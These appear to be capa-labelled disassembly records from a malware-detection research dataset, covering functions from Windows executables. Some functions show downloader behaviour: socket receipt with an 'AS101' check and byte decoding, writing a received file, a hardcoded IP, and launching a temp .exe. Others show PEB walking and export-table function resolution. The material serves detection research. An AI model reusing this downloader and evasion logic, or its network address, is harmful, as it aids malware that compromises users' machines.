joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40383b
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x403879
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x403997
cmp edi, ebx
je 0x403997
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.004152d0
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x403997
cmp eax, ebx
je 0x403997
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.00408aac
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x403982
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x403960
test eax, eax
je 0x403960
add ebx, eax
cmp edi, ebx
jg 0x4038e8
push 5
pop ecx
cmp ebx, ecx
jl 0x403982
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, str.AS101
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x403982
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x403940
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x40393a
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x403968
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.00419d90
mov dword [esi], ebx
jmp 0x403975
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x403982
push eax
push ecx
push dword [ebp - 0x868]
call fcn.00419d90
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x403997
push dword [ebp - 0x860]
call fcn.00408ab7
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00412ee8
add ebp, 0x70
leave
ret
Function at 0x403be8
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xf90]
mov eax, 0x1010
call fcn.00417780
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0xf8c], eax
mov eax, dword [ebp + 0xf98]
push ebx
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
xor ebx, ebx
push ebx
mov dword [ebp - 0x7c], eax
push 4
lea eax, [ebp - 0x78]
push eax
push dword [edi]
call esi
cmp eax, 4
je 0x403c2e
xor eax, eax
jmp 0x403c76
cmp dword [ebp - 0x78], ebx
jbe 0x403c65
push 0
push 0x1000
lea eax, [ebp - 0x74]
push eax
push dword [edi]
call esi
mov dword [ebp - 0x80], eax
test eax, eax
je 0x403c65
mov ecx, dword [ebp - 0x7c]
push dword [ecx]
push eax
lea eax, [ebp - 0x74]
push 1
push eax
call fcn.00413a11
add ebx, dword [ebp - 0x80]
add esp, 0x10
cmp ebx, dword [ebp - 0x78]
jb 0x403c33
mov eax, dword [ebp - 0x7c]
push dword [eax]
call fcn.004137d2
cmp ebx, dword [ebp - 0x78]
pop ecx
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0xf8c]
pop esi
xor ecx, ebp
pop ebx
call fcn.00412ee8
add ebp, 0xf90
leave
ret
Function at 0x403edd
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push edi
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.IDR_BINARY
mov ebx, eax
push 0x89
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov ebp, eax
cmp ebp, edi
je 0x403f41
push esi
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push ebp
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov eax, dword [esp + 0x14]
push esi
mov dword [eax], esi
call fcn.00408aac
push esi
mov edi, eax
push 0
push edi
call fcn.004152d0
push esi
push ebx
push edi
call fcn.00419d90
add esp, 0x1c
pop esi
mov eax, edi
pop edi
pop ebp
pop ebx
ret

Function at 0x403f47
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push dword [ebp + 8]
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403f70
push dword [ebp + 8]
call fcn.00403fe7
pop ecx
cmp eax, dword [ebp + 0x10]
jne 0x403f70
inc ebx
jmp 0x403fe0
mov edi, 0x200000
push edi
call fcn.00413dfc
pop ecx
mov esi, eax
push esi
push dword [ebp + 0x10]
mov dword [ebp - 4], edi
push dword [ebp + 0xc]
lea edi, [ebp - 4]
call fcn.0040403c
add esp, 0xc
test eax, eax
je 0x403fd9
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00412fe3
pop ecx
push 0x32
mov eax, 0xc8
call fcn.00402228
mov edi, dword [ebp - 4]
pop ecx
push eax
lea ebx, [edi + esi]
mov dword [ebp + 0x10], eax
call fcn.0040244f
add edi, dword [ebp + 0x10]
pop ecx
push edi
push esi
push dword [ebp + 8]
call fcn.004040aa
add esp, 0xc
mov ebx, eax
dec ebx
neg ebx
sbb ebx, ebx
inc ebx
push esi
call fcn.00414357
pop ecx
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret

Function at 0x403fe7
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor eax, eax
push eax
push eax
push 3
push eax
push 3
push closesocket
push dword [ebp + 8]
or esi, 0xffffffff
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, esi
jne 0x404016
mov edx, esi
jmp 0x404035
lea eax, [ebp - 0xc]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp eax, 1
jne 0x40402c
mov esi, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4040aa
Capabilities:
Check if file exists
Get file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4040ca
mov eax, dword [ebp + 8]
call fcn.00404115
test eax, eax
je 0x404110
push edi
push esi
push esi
push 2
push esi
push 1
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40410f
push esi
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
neg eax
sbb eax, eax
and eax, dword [ebp + 0xc]
cmp eax, dword [ebp + 0x10]
jne 0x404108
xor esi, esi
inc esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x404115
Capabilities:
Check if file exists
Delete file
Get file attributes
Set file attributes

Disassembly:
push esi
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x404128
xor eax, eax
pop esi
ret
test al, 1
je 0x40412f
xor eax, 1
test al, 4
je 0x404136
xor eax, 4
test al, 2
je 0x40413d
xor eax, 2
test al, 0x20
je 0x404144
xor eax, 0x20
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, esi
pop esi
ret
Function at 0x4041a7
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x214
mov eax, dword [0x431c20]
xor eax, esp
mov dword [esp + 0x210], eax
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push edi
mov edi, dword [ebp + 8]
push 0x64
push 0x4361a8
push 0x67
push edi
call esi
push 0x64
mov ebx, 0x4360e0
push ebx
push 0x6d
push edi
call esi
mov eax, edi
call fcn.00404366
mov eax, dword [ebp + 0x10]
mov edx, 0x436278
sub edx, eax
movzx ecx, word [eax]
mov word [edx + eax], cx
inc eax
inc eax
test cx, cx
jne 0x4041f7
call section..text
push 0x7d0
mov dword [0x432fbc], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0040109c
test eax, eax
je 0x404230
call fcn.00402491
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor esi, esi
push esi
push edi
push esi
push esi
push esi
mov eax, closesocket
push eax
push esi
push eax
push 0xcf0000
push 0x4361a8
push ebx
push esi
mov dword [0x436270], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
je 0x404264
call fcn.0040260a
cmp eax, esi
jne 0x40427d
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00412ee8
mov esp, ebp
pop ebp
ret 0x10
xor eax, eax
push 0x206
mov word [esp + 0x14], ax
lea eax, [esp + 0x16]
push esi
push eax
call fcn.004152d0
mov ecx, dword [0x436780]
add esp, 0xc
cmp ecx, esi
jbe 0x4042c2
cmp word [0x436784], si
jbe 0x4042c2
mov esi, str.218.54.31.226
call fcn.00402f3d
mov ax, word [0x436784]
mov word [0x432fb0], ax
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, 0x3e8
xor edx, edx
mov edi, ecx
div edi
xor edx, edx
mov ebx, 0x436b38
div ecx
push edx
push str.tmp8_X.exe
push ebx
call fcn.004044b2
add esp, 0xc
call fcn.00402ffb
lea edi, [esp + 0x10]
call fcn.00402fa1
push 0x42b8c8
mov edi, 0x104
lea eax, [esp + 0x14]
push edi
push eax
call fcn.00412ef7
add esp, 0xc
push ebx
lea eax, [esp + 0x14]
push edi
push eax
call fcn.00412ef7
add esp, 0xc
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x404350
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
push esi
push 0x42b7a0
lea eax, [esp + 0x1c]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00403c8d
push esi
jmp 0x40422a

Function at 0x405392
Capabilities:
Hash data using sha1

Disassembly:
and dword [eax + 4], 0
and dword [eax], 0
mov dword [eax + 8], 0x67452301
mov dword [eax + 0xc], 0xefcdab89
mov dword [eax + 0x10], 0x98badcfe
mov dword [eax + 0x14], 0x10325476
mov dword [eax + 0x18], 0xc3d2e1f0
ret
Function at 0x405526
Capabilities:
Read file on windows

Disassembly:
push ebp
lea ebp, [esp - 0xff0]
mov eax, 0x1070
call fcn.00417780
mov eax, dword [0x431c20]
xor eax, ebp
mov dword [ebp + 0xfec], eax
mov eax, dword [ebp + 0xff8]
push esi
push edi
push 0x42b8c0
push eax
lea eax, [ebp - 0x18]
mov esi, ecx
xor edi, edi
push eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x1c], edi
call fcn.0041344b
add esp, 0xc
cmp dword [ebp - 0x18], edi
jne 0x405581
mov edi, esi
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
jmp 0x405614
push ebx
push 2
push edi
push dword [ebp - 0x18]
call fcn.00413b1d
push dword [ebp - 0x18]
call fcn.00413d3f
push edi
push edi
push dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
call fcn.00413b1d
lea eax, [ebp - 0x80]
call fcn.00405392
push dword [ebp - 0x18]
mov esi, 0x1000
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.0041373e
mov ebx, eax
add esp, 0x2c
cmp ebx, edi
jbe 0x4055ee
push ebx
lea edi, [ebp - 0x80]
lea ecx, [ebp - 0x14]
call fcn.004053bd
push dword [ebp - 0x18]
add dword [ebp - 0x1c], ebx
push esi
lea eax, [ebp - 0x14]
push 1
push eax
call fcn.0041373e
mov ebx, eax
add esp, 0x14
test ebx, ebx
ja 0x4055c7
mov edi, dword [ebp - 0x20]
push edi
lea esi, [ebp - 0x80]
call fcn.00405456
push dword [ebp - 0x18]
call fcn.004137d2
mov eax, dword [ebp - 0x1c]
pop ecx
pop ecx
pop ebx
cmp eax, dword [ebp - 0x24]
jb 0x405573
xor eax, eax
inc eax
mov ecx, dword [ebp + 0xfec]
pop edi
xor ecx, ebp
pop esi
call fcn.00412ee8
add ebp, 0xff0
leave
ret

Function at 0x406db7
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push edi
mov edi, edx
test ecx, ecx
jne 0x406dc2
xor eax, eax
pop edi
ret
push esi
not eax
mov edx, 0xff
cmp edi, 8
jb 0x406e74
mov esi, edi
shr esi, 3
push ebx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce70]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce70]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce70]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce70]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce70]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce70]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce70]
inc ecx
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, edx
shr eax, 8
xor eax, dword [ebx*4 + 0x42ce70]
inc ecx
sub edi, 8
dec esi
jne 0x406dd9
pop ebx
test edi, edi
je 0x406e8d
movzx esi, byte [ecx]
xor esi, eax
and esi, edx
shr eax, 8
xor eax, dword [esi*4 + 0x42ce70]
inc ecx
dec edi
jne 0x406e78
pop esi
not eax
pop edi
ret
Function at 0x406e92
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov eax, dword [ecx]
movsx edx, dl
xor edx, eax
push esi
mov esi, 0xff
and edx, esi
mov edx, dword [edx*4 + 0x42ce70]
shr eax, 8
xor edx, eax
mov eax, dword [ecx + 8]
mov dword [ecx], edx
movzx edx, dl
add edx, dword [ecx + 4]
imul edx, edx, 0x8088405
inc edx
mov dword [ecx + 4], edx
shr edx, 0x18
xor edx, eax
and edx, esi
shr eax, 8
xor eax, dword [edx*4 + 0x42ce70]
pop esi
mov dword [ecx + 8], eax
ret

Function at 0x407507
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
imul edi, dword [ebp + 0x10]
cmp byte [esi], 0
je 0x407537
push 0
lea eax, [ebp + 0x10]
push eax
push edi
push dword [ebp + 8]
push dword [esi + 2]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x407532
mov byte [esi + 6], 1
mov eax, dword [ebp + 0x10]
jmp 0x40755f
mov ecx, dword [esi + 0x14]
mov eax, dword [esi + 0x10]
lea edx, [ecx + edi]
cmp edx, eax
jbe 0x407548
sub eax, ecx
mov edi, eax
mov eax, dword [esi + 0xc]
push edi
add eax, ecx
push eax
push dword [ebp + 8]
call fcn.00419d90
add esp, 0xc
add dword [esi + 0x14], edi
mov eax, edi
xor edx, edx
div dword [ebp + 0xc]
pop edi
pop ebp
ret
Function at 0x408206
Capabilities:
Get common file path

Disassembly:
push ecx
cmp dword [ebx], 0
push esi
push edi
jne 0x4082ac
cmp dword [ebx + 4], 0xffffffff
jne 0x4082ac
lea esi, [ebx + 0x244]
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov eax, esi
lea edx, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x408233
sub eax, edx
sar eax, 1
movzx eax, word [ebx + eax*2 + 0x242]
cmp ax, 0x5c
je 0x40826a
cmp ax, 0x2f
je 0x40826a
dec esi
dec esi
mov ax, word [esi + 2]
inc esi
inc esi
test ax, ax
jne 0x408257
mov edi, esi
mov esi, 0x42b8c8
movsd dword es:[edi], dword [esi]
push 0x18
call fcn.00408a7d
and dword [eax + 0x14], 0
and dword [eax + 7], 0
pop ecx
mov ecx, dword [esp + 0x10]
mov dword [eax + 0xc], ecx
mov ecx, dword [esp + 0x14]
push eax
mov byte [eax], 0
mov byte [eax + 1], 1
mov byte [eax + 0xb], 0
mov dword [eax + 0x10], ecx
call fcn.00407780
mov dword [ebx], eax
neg eax
sbb eax, eax
and eax, 0xfffffe00
pop ecx
add eax, 0x200
jmp 0x4082b1
mov eax, 0x1000000
pop edi
pop esi
pop ecx
ret 8

Function at 0x412ee8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x431c20]
jne 0x412ef2
repz ret
jmp fcn.004177ab
Function at 0x4222bf
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00417a80
and dword [ebp - 4], 0
cmp dword [0x435abc], 0
mov ebx, eax
jne 0x422370
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x422421
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x422421
push eax
call fcn.00417a0e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x435abc], eax
call esi
push eax
call fcn.00417a0e
mov dword [esp], 0x42a684
push edi
mov dword [0x435ac0], eax
call esi
push eax
call fcn.00417a0e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x435ac4], eax
call esi
push eax
call fcn.00417a0e
pop ecx
mov dword [0x435acc], eax
test eax, eax
je 0x422370
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00417a0e
pop ecx
mov dword [0x435ac8], eax
mov eax, dword [0x435ac8]
cmp eax, ebx
je 0x4223c8
cmp dword [0x435acc], ebx
je 0x4223c8
push eax
call fcn.00417a89
push dword [0x435acc]
mov esi, eax
call fcn.00417a89
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4223c8
test edi, edi
je 0x4223c8
call esi
test eax, eax
je 0x4223bf
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4223bf
test byte [ebp - 0xc], 1
jne 0x4223c8
or dword [ebp + 0x10], 0x200000
jmp 0x422401
mov eax, dword [0x435ac0]
cmp eax, ebx
je 0x422401
push eax
call fcn.00417a89
pop ecx
test eax, eax
je 0x422401
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x422401
mov eax, dword [0x435ac4]
cmp eax, ebx
je 0x422401
push eax
call fcn.00417a89
pop ecx
test eax, eax
je 0x422401
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x435abc]
call fcn.00417a89
pop ecx
test eax, eax
je 0x422421
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x422423
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402510
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
push eax
call fcn.00401d30
add esp, 4
push eax
lea ecx, [ebp - 0xc]
push ecx
call fcn.00402720
add esp, 8
push eax
lea ecx, [ebp - 8]
call fcn.00401330
lea ecx, [ebp - 0xc]
call fcn.00403810
mov dword [ebp - 0x10], 0x401f50
mov edx, dword [ebp - 4]
add edx, 4
push edx
push 0
lea ecx, [ebp - 8]
call fcn.00403ee0
push eax
mov eax, dword [ebp - 0x10]
push eax
push 0
push 0
call fcn.0041417f
add esp, 0x18
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov edx, dword [ebp - 4]
cmp dword [edx], 0
je 0x402583
lea ecx, [ebp - 8]
call fcn.004089f0
jmp 0x402594
mov eax, dword [ebp - 4]
mov dword [eax + 4], 0
push 6
call fcn.004093af
lea ecx, [ebp - 8]
call fcn.00403810
mov esp, ebp
pop ebp
ret 4

Function at 0x408050
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x473bb0], eax
pop edi
pop esi
pop ebp
ret
Function at 0x408100
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x43901c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x40], edx
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x40]
mov eax, dword [edx + ecx + 0x78]
add eax, dword [ebp + 8]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x28]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0
xor edx, edx
mov word [ebp - 0x20], dx
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x24], 0
jmp 0x408187
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
cmp ecx, dword [ebp - 0x44]
jae 0x408225
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x48]
push ecx
lea ecx, [ebp - 0x1c]
call fcn.00402cb0
cmp dword [ebp + 8], 0
jbe 0x40820f
cmp dword [ebp + 0xc], 3
jbe 0x40820f
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x34], edx
push 0x14d
lea eax, [ebp - 0x1c]
push eax
call fcn.00408610
add esp, 8
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x40820f
mov ecx, dword [ebp - 0x30]
cmp ecx, dword [ebp + 0xc]
jne 0x40820f
mov edx, dword [ebp - 0x28]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x24]
mov ecx, dword [ebp - 0x34]
mov dx, word [eax + ecx*2]
mov word [ebp - 0x20], dx
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x1c]
movzx edx, word [ebp - 0x20]
mov eax, dword [ecx + edx*4]
mov dword [ebp - 0x38], eax
lea ecx, [ebp - 0x1c]
call fcn.00403700
jmp 0x408225
mov ecx, dword [ebp - 0x2c]
add ecx, 4
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x1c]
call fcn.00403700
jmp 0x40817e
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040c637
mov esp, ebp
pop ebp
ret
Function at 0x40acc8
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x40ace9
jl 0x40ace0
test edi, edi
jne 0x40ace9
xor eax, eax
xor edx, edx
jmp 0x40adaa
cmp dword [ebx + 0x38], 0
je 0x40acfe
push eax
push edi
push dword [ebp + 8]
call fcn.0040adb0
jmp 0x40adaa
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x40ad45
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x40ad45
cmp eax, edi
jb 0x40ad1f
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.0040d400
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x40ad4b
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x40ad9f
mov ecx, ebx
call fcn.0040a530
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x40ad8a
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.004156a1
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x40ad9f
jmp 0x40ad5d
test edx, edx
je 0x40ad9f
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.004156a1
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x40d249
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40d288
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40d288
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40d288
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40d288
cmp dword [ecx + 0x74], 0xe
jbe 0x40d288
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x41b7ba
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42f46c
push 0x42f464
push str.FlsAlloc
push 0x1e
call fcn.0041b5e7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41b7ee
push dword [ebp + 8]
mov ecx, esi
call dword [0x42b14c]
call esi
jmp 0x41b7f4
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x41b838
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42f47c
push 0x42f474
push str.FlsGetValue
push 0x20
call fcn.0041b5e7
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41b86f
push dword [ebp + 8]
mov ecx, esi
call dword [0x42b14c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]